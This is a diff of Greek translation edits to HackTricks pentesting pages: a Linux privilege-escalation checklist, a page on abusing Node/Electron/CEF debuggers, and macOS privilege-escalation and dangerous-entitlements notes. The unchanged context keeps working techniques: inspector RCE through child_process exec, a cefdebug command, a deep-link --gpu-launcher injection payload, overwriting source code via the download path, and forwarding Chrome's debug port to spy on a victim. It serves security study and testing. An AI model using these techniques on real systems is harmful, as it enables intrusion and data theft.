+Στην περίπτωση όπου **η ευπάθεια είναι σε διαφορετικό αρχείο python**, χρειάζεστε ένα gadget για να διασχίσετε τα αρχεία ώστε να φτάσετε στο κύριο για **να αποκτήσετε πρόσβαση στο παγκόσμιο αντικείμενο `app.secret_key`** για να αλλάξετε το μυστικό κλειδί του Flask και να μπορείτε να [**κλιμακώσετε προνόμια** γνωρίζοντας αυτό το κλειδί](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
 
 Ένα payload όπως αυτό [από αυτή την αναφορά](https://ctftime.org/writeup/36082):
 ```python

src/linux-hardening/linux-privilege-escalation-checklist.md

@@ -8,12 +8,12 @@
 
 - [ ] Λάβετε **πληροφορίες OS**
 - [ ] Ελέγξτε το [**PATH**](privilege-escalation/index.html#path), υπάρχει **γραμμή που μπορεί να γραφτεί**;
-- [ ] Ελέγξτε τις [**μεταβλητές περιβάλλοντος**](privilege-escalation/index.html#env-info), υπάρχει κάποια ευαίσθητη λεπτομέρεια;
+- [ ] Ελέγξτε [**μεταβλητές περιβάλλοντος**](privilege-escalation/index.html#env-info), υπάρχει κάποια ευαίσθητη λεπτομέρεια;
 - [ ] Αναζητήστε [**εκμεταλλεύσεις πυρήνα**](privilege-escalation/index.html#kernel-exploits) **χρησιμοποιώντας σενάρια** (DirtyCow;)
 - [ ] **Ελέγξτε** αν η [**έκδοση sudo** είναι ευάλωτη](privilege-escalation/index.html#sudo-version)
-- [ ] [**Η υπογραφή Dmesg** απέτυχε](privilege-escalation/index.html#dmesg-signature-verification-failed)
+- [ ] [**Η επαλήθευση υπογραφής Dmesg** απέτυχε](privilege-escalation/index.html#dmesg-signature-verification-failed)
 - [ ] Περισσότερη αναγνώριση συστήματος ([ημερομηνία, στατιστικά συστήματος, πληροφορίες CPU, εκτυπωτές](privilege-escalation/index.html#more-system-enumeration))
-- [ ] [Αναγνωρίστε περισσότερες άμυνες](privilege-escalation/index.html#enumerate-possible-defenses)
+- [ ] [**Αναγνωρίστε περισσότερες άμυνες**](privilege-escalation/index.html#enumerate-possible-defenses)
 
 ### [Δίσκοι](privilege-escalation/index.html#drives)
 
@@ -28,11 +28,11 @@
 
 ### [Διεργασίες](privilege-escalation/index.html#processes)
 
-- [ ] Υπάρχει κάποιο **άγνωστο λογισμικό που εκτελείται**;
-- [ ] Υπάρχει κάποιο λογισμικό που εκτελείται με **περισσότερα δικαιώματα από ό,τι θα έπρεπε**;
-- [ ] Αναζητήστε **εκμεταλλεύσεις εκτελούμενων διεργασιών** (ιδιαίτερα την έκδοση που εκτελείται).
-- [ ] Μπορείτε να **τροποποιήσετε το δυαδικό** οποιασδήποτε εκτελούμενης διεργασίας;
-- [ ] **Παρακολουθήστε τις διεργασίες** και ελέγξτε αν κάποια ενδιαφέρουσα διεργασία εκτελείται συχνά.
+- [ ] Τρέχει κάποιο **άγνωστο λογισμικό**;
+- [ ] Τρέχει κάποιο λογισμικό με **περισσότερα δικαιώματα από όσα θα έπρεπε**;
+- [ ] Αναζητήστε **εκμεταλλεύσεις τρεχουσών διεργασιών** (ιδιαίτερα την έκδοση που τρέχει).
+- [ ] Μπορείτε να **τροποποιήσετε το δυαδικό** οποιασδήποτε τρέχουσας διεργασίας;
+- [ ] **Παρακολουθήστε διεργασίες** και ελέγξτε αν τρέχει κάποια ενδιαφέρουσα διεργασία συχνά.
 - [ ] Μπορείτε να **διαβάσετε** κάποια ενδιαφέρουσα **μνήμη διεργασίας** (όπου θα μπορούσαν να αποθηκευτούν κωδικοί);
 
 ### [Προγραμματισμένα/Δουλειές Cron;](privilege-escalation/index.html#scheduled-jobs)
@@ -46,17 +46,17 @@
 
 - [ ] Κάποιο **γραμμένο αρχείο .service**;
 - [ ] Κάποιο **γραμμένο δυαδικό** που εκτελείται από μια **υπηρεσία**;
-- [ ] Κάποιο **γραμμένο φάκελο στο PATH του systemd**;
+- [ ] Κάποιος **γραμμένος φάκελος στο PATH του systemd**;
 
 ### [Χρονοδιακόπτες](privilege-escalation/index.html#timers)
 
-- [ ] Κάποιο **γραμμένο χρονοδιακόπτη**;
+- [ ] Κάποιος **γραμμένος χρονοδιακόπτης**;
 
 ### [Υποδοχές](privilege-escalation/index.html#sockets)
 
 - [ ] Κάποιο **γραμμένο αρχείο .socket**;
 - [ ] Μπορείτε να **επικοινωνήσετε με κάποια υποδοχή**;
-- [ ] **Υποδοχές HTTP** με ενδιαφέρουσες πληροφορίες;
+- [ ] **HTTP sockets** με ενδιαφέρουσες πληροφορίες;
 
 ### [D-Bus](privilege-escalation/index.html#d-bus)
 
@@ -72,24 +72,24 @@
 
 - [ ] Γενική **αναγνώριση χρηστών/ομάδων**
 - [ ] Έχετε **πολύ μεγάλο UID**; Είναι η **μηχανή** **ευάλωτη**;
-- [ ] Μπορείτε να [**ανυψώσετε δικαιώματα χάρη σε μια ομάδα**](privilege-escalation/interesting-groups-linux-pe/) στην οποία ανήκετε;
+- [ ] Μπορείτε να [**ανυψώσετε δικαιώματα χάρη σε μια ομάδα**](privilege-escalation/interesting-groups-linux-pe/index.html) στην οποία ανήκετε;
 - [ ] Δεδομένα **Clipboard**;
 - [ ] Πολιτική Κωδικών;
 - [ ] Δοκιμάστε να **χρησιμοποιήσετε** κάθε **γνωστό κωδικό** που έχετε ανακαλύψει προηγουμένως για να συνδεθείτε **με κάθε** δυνατό **χρήστη**. Δοκιμάστε να συνδεθείτε επίσης χωρίς κωδικό.
 
 ### [Γραμμένο PATH](privilege-escalation/index.html#writable-path-abuses)
 
-- [ ] Αν έχετε **δικαιώματα εγγραφής σε κάποιο φάκελο στο PATH** μπορεί να είστε σε θέση να ανυψώσετε δικαιώματα
+- [ ] Αν έχετε **δικαιώματα εγγραφής σε κάποιο φάκελο στο PATH** μπορεί να μπορείτε να ανυψώσετε δικαιώματα
 
 ### [Εντολές SUDO και SUID](privilege-escalation/index.html#sudo-and-suid)
 
 - [ ] Μπορείτε να εκτελέσετε **οποιαδήποτε εντολή με sudo**; Μπορείτε να το χρησιμοποιήσετε για να ΔΙΑΒΑΣΕΤΕ, ΓΡΑΨΕΤΕ ή ΕΚΤΕΛΕΣΕΤΕ οτιδήποτε ως root; ([**GTFOBins**](https://gtfobins.github.io))
 - [ ] Υπάρχει κάποιο **εκμεταλλεύσιμο SUID δυαδικό**; ([**GTFOBins**](https://gtfobins.github.io))
 - [ ] Είναι οι [**εντολές sudo** **περιορισμένες** από **path**; μπορείτε να **παρακάμψετε** τους περιορισμούς](privilege-escalation/index.html#sudo-execution-bypassing-paths);
-- [ ] [**Δυαδικό Sudo/SUID χωρίς καθορισμένο path**](privilege-escalation/index.html#sudo-command-suid-binary-without-command-path);
-- [ ] [**Δυαδικό SUID καθορίζοντας path**](privilege-escalation/index.html#suid-binary-with-command-path); Παράκαμψη
+- [ ] [**Sudo/SUID δυαδικό χωρίς καθορισμένο path**](privilege-escalation/index.html#sudo-command-suid-binary-without-command-path);
+- [ ] [**SUID δυαδικό που καθορίζει path**](privilege-escalation/index.html#suid-binary-with-command-path); Παράκαμψη
 - [ ] [**LD_PRELOAD vuln**](privilege-escalation/index.html#ld_preload)
-- [ ] [**Έλλειψη βιβλιοθήκης .so σε SUID δυαδικό**](privilege-escalation/index.html#suid-binary-so-injection) από έναν γραμμένο φάκελο;
+- [ ] [**Έλλειψη .so βιβλιοθήκης σε SUID δυαδικό**](privilege-escalation/index.html#suid-binary-so-injection) από έναν γραμμένο φάκελο;
 - [ ] [**Διαθέσιμα SUDO tokens**](privilege-escalation/index.html#reusing-sudo-tokens); [**Μπορείτε να δημιουργήσετε ένα SUDO token**](privilege-escalation/index.html#var-run-sudo-ts-less-than-username-greater-than);
 - [ ] Μπορείτε να [**διαβάσετε ή να τροποποιήσετε τα αρχεία sudoers**](privilege-escalation/index.html#etc-sudoers-etc-sudoers-d);
 - [ ] Μπορείτε να [**τροποποιήσετε το /etc/ld.so.conf.d/**](privilege-escalation/index.html#etc-ld-so-conf-d);
@@ -111,7 +111,7 @@
 ### [SSH](privilege-escalation/index.html#ssh)
 
 - [ ] **Debian** [**OpenSSL Predictable PRNG - CVE-2008-0166**](privilege-escalation/index.html#debian-openssl-predictable-prng-cve-2008-0166)
-- [ ] [**Ενδιαφέροντα διαρθρωτικά στοιχεία SSH**](privilege-escalation/index.html#ssh-interesting-configuration-values)
+- [ ] [**Ενδιαφέροντα τιμές ρυθμίσεων SSH**](privilege-escalation/index.html#ssh-interesting-configuration-values)
 
 ### [Ενδιαφέροντα Αρχεία](privilege-escalation/index.html#interesting-files)
 

src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md

@@ -22,27 +22,27 @@ node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and po
 node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
 # Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector
 ```
-Όταν ξεκινάτε μια διαδικασία που επιθεωρείται, κάτι τέτοιο θα εμφανιστεί:
+Όταν ξεκινάτε μια διαδικασία επιθεώρησης, κάτι τέτοιο θα εμφανιστεί:
 ```
 Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
 For help, see: https://nodejs.org/en/docs/inspector
 ```
-Διεργασίες που βασίζονται στο **CEF** (**Chromium Embedded Framework**) χρειάζονται να χρησιμοποιήσουν την παράμετρο: `--remote-debugging-port=9222` για να ανοίξουν τον **debugger** (οι προστασίες SSRF παραμένουν πολύ παρόμοιες). Ωστόσο, **αντί** να παραχωρήσουν μια συνεδρία **debug** **NodeJS**, θα επικοινωνήσουν με τον περιηγητή χρησιμοποιώντας το [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), αυτή είναι μια διεπαφή για τον έλεγχο του περιηγητή, αλλά δεν υπάρχει άμεσο RCE.
+Διεργασίες που βασίζονται στο **CEF** (**Chromium Embedded Framework**) χρειάζονται να χρησιμοποιούν την παράμετρο: `--remote-debugging-port=9222` για να ανοίξουν τον **debugger** (οι προστασίες SSRF παραμένουν πολύ παρόμοιες). Ωστόσο, **αντί** να παραχωρούν μια συνεδρία **debug** **NodeJS**, θα επικοινωνούν με τον περιηγητή χρησιμοποιώντας το [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), αυτή είναι μια διεπαφή για τον έλεγχο του περιηγητή, αλλά δεν υπάρχει άμεσο RCE.
 
-Όταν ξεκινάτε έναν περιηγητή σε κατάσταση αποσφαλμάτωσης, κάτι τέτοιο θα εμφανιστεί:
+Όταν ξεκινάτε έναν περιηγητή με debugging, κάτι τέτοιο θα εμφανιστεί:
 ```
 DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369
 ```
-### Browsers, WebSockets και πολιτική ίδιου προέλευσης <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
+### Browsers, WebSockets and same-origin policy <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
 
-Οι ιστότοποι που ανοίγουν σε έναν web-browser μπορούν να κάνουν WebSocket και HTTP αιτήματα σύμφωνα με το μοντέλο ασφάλειας του browser. Μια **αρχική σύνδεση HTTP** είναι απαραίτητη για να **αποκτηθεί ένα μοναδικό id συνεδρίας debugger**. Η **πολιτική ίδιου προέλευσης** **αποτρέπει** τους ιστότοπους από το να μπορούν να κάνουν **αυτή τη σύνδεση HTTP**. Για επιπλέον ασφάλεια κατά των [**επιθέσεων DNS rebinding**](https://en.wikipedia.org/wiki/DNS_rebinding)**,** το Node.js επαληθεύει ότι οι **κεφαλίδες 'Host'** για τη σύνδεση είτε καθορίζουν μια **διεύθυνση IP** είτε **`localhost`** ή **`localhost6`** ακριβώς.
+Οι ιστότοποι που ανοίγουν σε έναν web-browser μπορούν να κάνουν WebSocket και HTTP αιτήματα σύμφωνα με το μοντέλο ασφάλειας του browser. Μια **αρχική σύνδεση HTTP** είναι απαραίτητη για να **αποκτηθεί ένα μοναδικό id συνεδρίας debugger**. Η **πολιτική same-origin** **αποτρέπει** τους ιστότοπους από το να μπορούν να κάνουν **αυτή τη σύνδεση HTTP**. Για επιπλέον ασφάλεια κατά των [**επιθέσεων DNS rebinding**](https://en.wikipedia.org/wiki/DNS_rebinding)**,** το Node.js επαληθεύει ότι οι **κεφαλίδες 'Host'** για τη σύνδεση είτε καθορίζουν μια **διεύθυνση IP** είτε **`localhost`** ή **`localhost6`** ακριβώς.
 
 > [!NOTE]
-> Αυτά τα **μέτρα ασφαλείας αποτρέπουν την εκμετάλλευση του inspector** για να εκτελούνται κώδικες απλά στέλνοντας ένα HTTP αίτημα (το οποίο θα μπορούσε να γίνει εκμεταλλευόμενοι μια ευπάθεια SSRF).
+> Αυτά τα **μέτρα ασφαλείας αποτρέπουν την εκμετάλλευση του inspector** για να εκτελούνται κώδικες απλά στέλνοντας ένα HTTP αίτημα (το οποίο θα μπορούσε να γίνει εκμεταλλευόμενο μια ευπάθεια SSRF).
 
-### Ξεκινώντας τον inspector σε τρέχουσες διαδικασίες
+### Starting inspector in running processes
 
-Μπορείτε να στείλετε το **σήμα SIGUSR1** σε μια τρέχουσα διαδικασία nodejs για να **ξεκινήσει τον inspector** στην προεπιλεγμένη θύρα. Ωστόσο, σημειώστε ότι χρειάζεστε αρκετά δικαιώματα, οπότε αυτό μπορεί να σας δώσει **προνομιακή πρόσβαση σε πληροφορίες μέσα στη διαδικασία** αλλά όχι άμεση κλιμάκωση δικαιωμάτων.
+Μπορείτε να στείλετε το **σήμα SIGUSR1** σε μια τρέχουσα διαδικασία nodejs για να **ξεκινήσει τον inspector** στην προεπιλεγμένη θύρα. Ωστόσο, σημειώστε ότι πρέπει να έχετε αρκετά δικαιώματα, οπότε αυτό μπορεί να σας δώσει **προνομιακή πρόσβαση σε πληροφορίες μέσα στη διαδικασία** αλλά όχι άμεση κλιμάκωση δικαιωμάτων.
 ```bash
 kill -s SIGUSR1 <nodejs-ps>
 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
@@ -52,7 +52,7 @@ kill -s SIGUSR1 <nodejs-ps>
 
 ### Σύνδεση με τον επιθεωρητή/αποσφαλματωτή
 
-Για να συνδεθείτε με έναν **πλοηγό βασισμένο σε Chromium**, μπορείτε να αποκτήσετε πρόσβαση στις διευθύνσεις URL `chrome://inspect` ή `edge://inspect` για το Chrome ή το Edge, αντίστοιχα. Κάνοντας κλικ στο κουμπί Ρύθμιση, θα πρέπει να διασφαλιστεί ότι ο **στόχος και η θύρα** είναι σωστά καταχωρημένα. Η εικόνα δείχνει ένα παράδειγμα Remote Code Execution (RCE):
+Για να συνδεθείτε με έναν **πλοηγό βασισμένο σε Chromium**, μπορείτε να αποκτήσετε πρόσβαση στα URLs `chrome://inspect` ή `edge://inspect` για Chrome ή Edge, αντίστοιχα. Κάνοντας κλικ στο κουμπί Ρύθμιση, θα πρέπει να διασφαλιστεί ότι ο **στόχος και η θύρα** είναι σωστά καταχωρημένα. Η εικόνα δείχνει ένα παράδειγμα Remote Code Execution (RCE):
 
 ![](<../../images/image (674).png>)
 
@@ -73,12 +73,12 @@ debug> exec("process.mainModule.require('child_process').exec('/Applications/iTe
 ./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"
 ```
 > [!NOTE]
-> Σημειώστε ότι **οι εκμεταλλεύσεις RCE του NodeJS δεν θα λειτουργήσουν** αν συνδεθείτε σε έναν περιηγητή μέσω του [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (πρέπει να ελέγξετε το API για να βρείτε ενδιαφέροντα πράγματα να κάνετε με αυτό).
+> Σημειώστε ότι οι **εκμεταλλεύσεις RCE του NodeJS δεν θα λειτουργήσουν** αν συνδεθείτε σε έναν περιηγητή μέσω του [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (πρέπει να ελέγξετε το API για να βρείτε ενδιαφέροντα πράγματα να κάνετε με αυτό).
 
 ## RCE στον Debugger/Inspector του NodeJS
 
 > [!NOTE]
-> Αν ήρθατε εδώ ψάχνοντας πώς να αποκτήσετε [**RCE από μια XSS σε Electron παρακαλώ ελέγξτε αυτή τη σελίδα.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
+> Αν ήρθατε εδώ ψάχνοντας πώς να αποκτήσετε [**RCE από μια XSS σε Electron παρακαλώ ελέγξτε αυτή τη σελίδα.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/index.html)
 
 Ορισμένοι κοινοί τρόποι για να αποκτήσετε **RCE** όταν μπορείτε να **συνδεθείτε** σε έναν **inspector** του Node είναι η χρήση κάποιου όπως (φαίνεται ότι αυτό **δεν θα λειτουργήσει σε σύνδεση με το Chrome DevTools protocol**):
 ```javascript
@@ -90,11 +90,11 @@ Browser.open(JSON.stringify({ url: "c:\\windows\\system32\\calc.exe" }))
 ## Chrome DevTools Protocol Payloads
 
 Μπορείτε να ελέγξετε το API εδώ: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\
-Σε αυτή την ενότητα θα παραθέσω μόνο ενδιαφέροντα πράγματα που έχω βρει ότι οι άνθρωποι έχουν χρησιμοποιήσει για να εκμεταλλευτούν αυτό το πρωτόκολλο.
+Σε αυτή την ενότητα θα παραθέσω απλώς ενδιαφέροντα πράγματα που έχω βρει ότι έχουν χρησιμοποιήσει οι άνθρωποι για να εκμεταλλευτούν αυτό το πρωτόκολλο.
 
 ### Parameter Injection via Deep Links
 
-Στο [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) η Rhino security ανακάλυψε ότι μια εφαρμογή βασισμένη σε CEF **καταχώρησε μια προσαρμοσμένη UR**I στο σύστημα (workspaces://) που έλαβε το πλήρες URI και στη συνέχεια **εκκίνησε την εφαρμογή βασισμένη σε CEF** με μια ρύθμιση που κατασκευαζόταν εν μέρει από αυτό το URI.
+Στο [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) η Rhino security ανακάλυψε ότι μια εφαρμογή βασισμένη σε CEF **καταχώρησε μια προσαρμοσμένη UR**I στο σύστημα (workspaces://index.html) που έλαβε την πλήρη URI και στη συνέχεια **εκκίνησε την εφαρμογή βασισμένη σε CEF** με μια ρύθμιση που κατασκευαζόταν εν μέρει από αυτή την URI.
 
 Ανακαλύφθηκε ότι οι παράμετροι URI αποκωδικοποιούνταν URL και χρησιμοποιούνταν για να εκκινήσουν την βασική εφαρμογή CEF, επιτρέποντας σε έναν χρήστη να **εισάγει** τη σημαία **`--gpu-launcher`** στη **γραμμή εντολών** και να εκτελέσει αυθαίρετα πράγματα.
 
@@ -104,7 +104,7 @@ workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE
 ```
 Θα εκτελέσει ένα calc.exe.
 
-### Επικαλύψεις Αρχείων
+### Εγγραφή Αρχείων
 
 Αλλάξτε τον φάκελο όπου **θα αποθηκευτούν τα κατεβασμένα αρχεία** και κατεβάστε ένα αρχείο για να **επικαλύψετε** τον συχνά χρησιμοποιούμενο **κώδικα πηγής** της εφαρμογής με τον **κακόβουλο κώδικά** σας.
 ```javascript
@@ -122,11 +122,11 @@ downloadPath: "/code/",
 ```
 ### Webdriver RCE και εξαγωγή
 
-Σύμφωνα με αυτή την ανάρτηση: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) είναι δυνατόν να αποκτηθεί RCE και να εξαχθούν εσωτερικές σελίδες από theriver.
+Σύμφωνα με αυτή την ανάρτηση: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) είναι δυνατόν να αποκτηθεί RCE και να εξαχθούν εσωτερικές σελίδες από το theriver.
 
 ### Μετά την εκμετάλλευση
 
-Σε ένα πραγματικό περιβάλλον και **μετά την παραβίαση** ενός υπολογιστή χρήστη που χρησιμοποιεί πρόγραμμα περιήγησης βασισμένο σε Chrome/Chromium, θα μπορούσατε να εκκινήσετε μια διαδικασία Chrome με **την αποσφαλμάτωση ενεργοποιημένη και να προωθήσετε την θύρα αποσφαλμάτωσης** ώστε να μπορείτε να την αποκτήσετε. Με αυτόν τον τρόπο θα είστε σε θέση να **εξετάσετε τα πάντα που κάνει το θύμα με το Chrome και να κλέψετε ευαίσθητες πληροφορίες**.
+Σε ένα πραγματικό περιβάλλον και **μετά την παραβίαση** ενός υπολογιστή χρήστη που χρησιμοποιεί πρόγραμμα περιήγησης βασισμένο σε Chrome/Chromium, θα μπορούσατε να εκκινήσετε μια διαδικασία Chrome με **την αποσφαλμάτωση ενεργοποιημένη και να προωθήσετε την θύρα αποσφαλμάτωσης** ώστε να μπορείτε να έχετε πρόσβαση σε αυτήν. Με αυτόν τον τρόπο θα είστε σε θέση να **εξετάσετε τα πάντα που κάνει το θύμα με το Chrome και να κλέψετε ευαίσθητες πληροφορίες**.
 
 Ο κρυφός τρόπος είναι να **τερματίσετε κάθε διαδικασία Chrome** και στη συνέχεια να καλέσετε κάτι σαν
 ```bash

src/macos-hardening/macos-security-and-privilege-escalation/README.md

@@ -69,11 +69,11 @@ macos-security-protections/
 - Το αρχείο που χρησιμοποιήθηκε είχε ήδη δημιουργηθεί από έναν χρήστη (ανήκει στον χρήστη)
 - Το αρχείο που χρησιμοποιήθηκε είναι εγγράψιμο από τον χρήστη λόγω ομάδας
 - Το αρχείο που χρησιμοποιήθηκε είναι μέσα σε έναν φάκελο που ανήκει στον χρήστη (ο χρήστης θα μπορούσε να δημιουργήσει το αρχείο)
-- Το αρχείο που χρησιμοποιήθηκε είναι μέσα σε έναν φάκελο που ανήκει στο root αλλά ο χρήστης έχει δικαίωμα εγγραφής σε αυτόν λόγω ομάδας (ο χρήστης θα μπορούσε να δημιουργήσει το αρχείο)
+- Το αρχείο που χρησιμοποιήθηκε είναι μέσα σε έναν φάκελο που ανήκει στον root αλλά ο χρήστης έχει δικαίωμα εγγραφής σε αυτόν λόγω ομάδας (ο χρήστης θα μπορούσε να δημιουργήσει το αρχείο)
 
-Η δυνατότητα **δημιουργίας ενός αρχείου** που θα χρησιμοποιηθεί από το **root**, επιτρέπει σε έναν χρήστη να **εκμεταλλευτεί το περιεχόμενό του** ή ακόμη και να δημιουργήσει **symlinks/hardlinks** για να το δείξει σε άλλη τοποθεσία.
+Η δυνατότητα **δημιουργίας ενός αρχείου** που θα **χρησιμοποιηθεί από τον root**, επιτρέπει σε έναν χρήστη να **εκμεταλλευτεί το περιεχόμενό του** ή ακόμα και να δημιουργήσει **symlinks/hardlinks** για να το δείξει σε άλλη τοποθεσία.
 
-Για αυτούς τους τύπους ευπαθειών μην ξεχάσετε να **ελέγξετε ευάλωτους εγκαταστάτες `.pkg`**:
+Για αυτού του είδους τις ευπάθειες, μην ξεχάσετε να **ελέγξετε ευάλωτους `.pkg` εγκαταστάτες**:
 
 {{#ref}}
 macos-files-folders-and-binaries/macos-installers-abuse.md
@@ -89,17 +89,17 @@ macos-file-extension-apps.md
 
 ## macOS TCC / SIP Privilege Escalation
 
-Στο macOS, οι **εφαρμογές και τα δυαδικά αρχεία μπορούν να έχουν δικαιώματα** για πρόσβαση σε φακέλους ή ρυθμίσεις που τους καθιστούν πιο προνομιούχες από άλλες.
+Στο macOS, **οι εφαρμογές και τα δυαδικά αρχεία μπορούν να έχουν δικαιώματα** για πρόσβαση σε φακέλους ή ρυθμίσεις που τους καθιστούν πιο προνομιούχους από άλλους.
 
-Επομένως, ένας επιτιθέμενος που θέλει να συμβιβάσει επιτυχώς μια μηχανή macOS θα χρειαστεί να **αναβαθμίσει τα δικαιώματα TCC** (ή ακόμη και **να παρακάμψει το SIP**, ανάλογα με τις ανάγκες του).
+Επομένως, ένας επιτιθέμενος που θέλει να συμβιβάσει επιτυχώς μια μηχανή macOS θα χρειαστεί να **αναβαθμίσει τα δικαιώματα TCC** (ή ακόμα και **να παρακάμψει το SIP**, ανάλογα με τις ανάγκες του).
 
-Αυτά τα δικαιώματα δίνονται συνήθως με τη μορφή **entitlements** με τις οποίες είναι υπογεγραμμένη η εφαρμογή, ή η εφαρμογή μπορεί να έχει ζητήσει κάποιες προσβάσεις και μετά την **έγκριση τους από τον χρήστη** μπορούν να βρεθούν στις **βάσεις δεδομένων TCC**. Ένας άλλος τρόπος με τον οποίο μια διαδικασία μπορεί να αποκτήσει αυτά τα δικαιώματα είναι να είναι **παιδί μιας διαδικασίας** με αυτά τα **δικαιώματα**, καθώς συνήθως **κληρονομούνται**.
+Αυτά τα δικαιώματα δίνονται συνήθως με τη μορφή **entitlements** με τα οποία είναι υπογεγραμμένη η εφαρμογή, ή η εφαρμογή μπορεί να έχει ζητήσει κάποιες προσβάσεις και μετά την **έγκριση τους από τον χρήστη** μπορούν να βρεθούν στις **βάσεις δεδομένων TCC**. Ένας άλλος τρόπος με τον οποίο μια διαδικασία μπορεί να αποκτήσει αυτά τα δικαιώματα είναι να είναι **παιδί μιας διαδικασίας** με αυτά τα **δικαιώματα**, καθώς συνήθως **κληρονομούνται**.
 
-Ακολουθήστε αυτούς τους συνδέσμους για να βρείτε διαφορετικούς τρόπους για να [**αναβαθμίσετε δικαιώματα στο TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), για να [**παρακάμψετε το TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) και πώς στο παρελθόν [**έχει παρακαμφθεί το SIP**](macos-security-protections/macos-sip.md#sip-bypasses).
+Ακολουθήστε αυτούς τους συνδέσμους για να βρείτε διαφορετικούς τρόπους για [**να αναβαθμίσετε δικαιώματα στο TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), για [**να παρακάμψετε το TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html) και πώς στο παρελθόν [**έχει παρακαμφθεί το SIP**](macos-security-protections/macos-sip.md#sip-bypasses).
 
 ## macOS Traditional Privilege Escalation
 
-Φυσικά, από την προοπτική των κόκκινων ομάδων, θα πρέπει επίσης να ενδιαφέρεστε να αναβαθμίσετε σε root. Ελέγξτε την παρακάτω ανάρτηση για μερικές συμβουλές:
+Φυσικά, από την προοπτική των κόκκινων ομάδων, θα πρέπει επίσης να ενδιαφέρεστε να αναβαθμίσετε σε root. Ελέγξτε την παρακάτω ανάρτηση για μερικές υποδείξεις:
 
 {{#ref}}
 macos-privilege-escalation.md

src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md

@@ -3,62 +3,62 @@
 {{#include ../../../banners/hacktricks-training.md}}
 
 > [!WARNING]
-> Σημειώστε ότι τα δικαιώματα που ξεκινούν με **`com.apple`** δεν είναι διαθέσιμα σε τρίτους, μόνο η Apple μπορεί να τα χορηγήσει.
+> Σημειώστε ότι τα entitlements που ξεκινούν με **`com.apple`** δεν είναι διαθέσιμα σε τρίτους, μόνο η Apple μπορεί να τα χορηγήσει.
 
 ## Υψηλό
 
 ### `com.apple.rootless.install.heritable`
 
-Το δικαίωμα **`com.apple.rootless.install.heritable`** επιτρέπει να **παρακαμφθεί το SIP**. Δείτε [αυτό για περισσότερες πληροφορίες](macos-sip.md#com.apple.rootless.install.heritable).
+Το entitlement **`com.apple.rootless.install.heritable`** επιτρέπει να **παρακαμφθεί το SIP**. Δείτε [αυτό για περισσότερες πληροφορίες](macos-sip.md#com.apple.rootless.install.heritable).
 
 ### **`com.apple.rootless.install`**
 
-Το δικαίωμα **`com.apple.rootless.install`** επιτρέπει να **παρακαμφθεί το SIP**. Δείτε [αυτό για περισσότερες πληροφορίες](macos-sip.md#com.apple.rootless.install).
+Το entitlement **`com.apple.rootless.install`** επιτρέπει να **παρακαμφθεί το SIP**. Δείτε [αυτό για περισσότερες πληροφορίες](macos-sip.md#com.apple.rootless.install).
 
 ### **`com.apple.system-task-ports` (προηγουμένως ονομαζόταν `task_for_pid-allow`)**
 
-Αυτό το δικαίωμα επιτρέπει να αποκτηθεί η **θύρα εργασίας για οποιαδήποτε** διαδικασία, εκτός από τον πυρήνα. Δείτε [**αυτό για περισσότερες πληροφορίες**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
+Αυτό το entitlement επιτρέπει να αποκτηθεί το **task port για οποιαδήποτε** διαδικασία, εκτός από τον πυρήνα. Δείτε [**αυτό για περισσότερες πληροφορίες**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
 
 ### `com.apple.security.get-task-allow`
 
-Αυτό το δικαίωμα επιτρέπει σε άλλες διαδικασίες με το δικαίωμα **`com.apple.security.cs.debugger`** να αποκτούν τη θύρα εργασίας της διαδικασίας που εκτελείται από το δυαδικό αρχείο με αυτό το δικαίωμα και **να εισάγουν κώδικα σε αυτήν**. Δείτε [**αυτό για περισσότερες πληροφορίες**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
+Αυτό το entitlement επιτρέπει σε άλλες διαδικασίες με το entitlement **`com.apple.security.cs.debugger`** να αποκτούν το task port της διαδικασίας που εκτελείται από το δυαδικό αρχείο με αυτό το entitlement και **να εισάγουν κώδικα σε αυτό**. Δείτε [**αυτό για περισσότερες πληροφορίες**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
 
 ### `com.apple.security.cs.debugger`
 
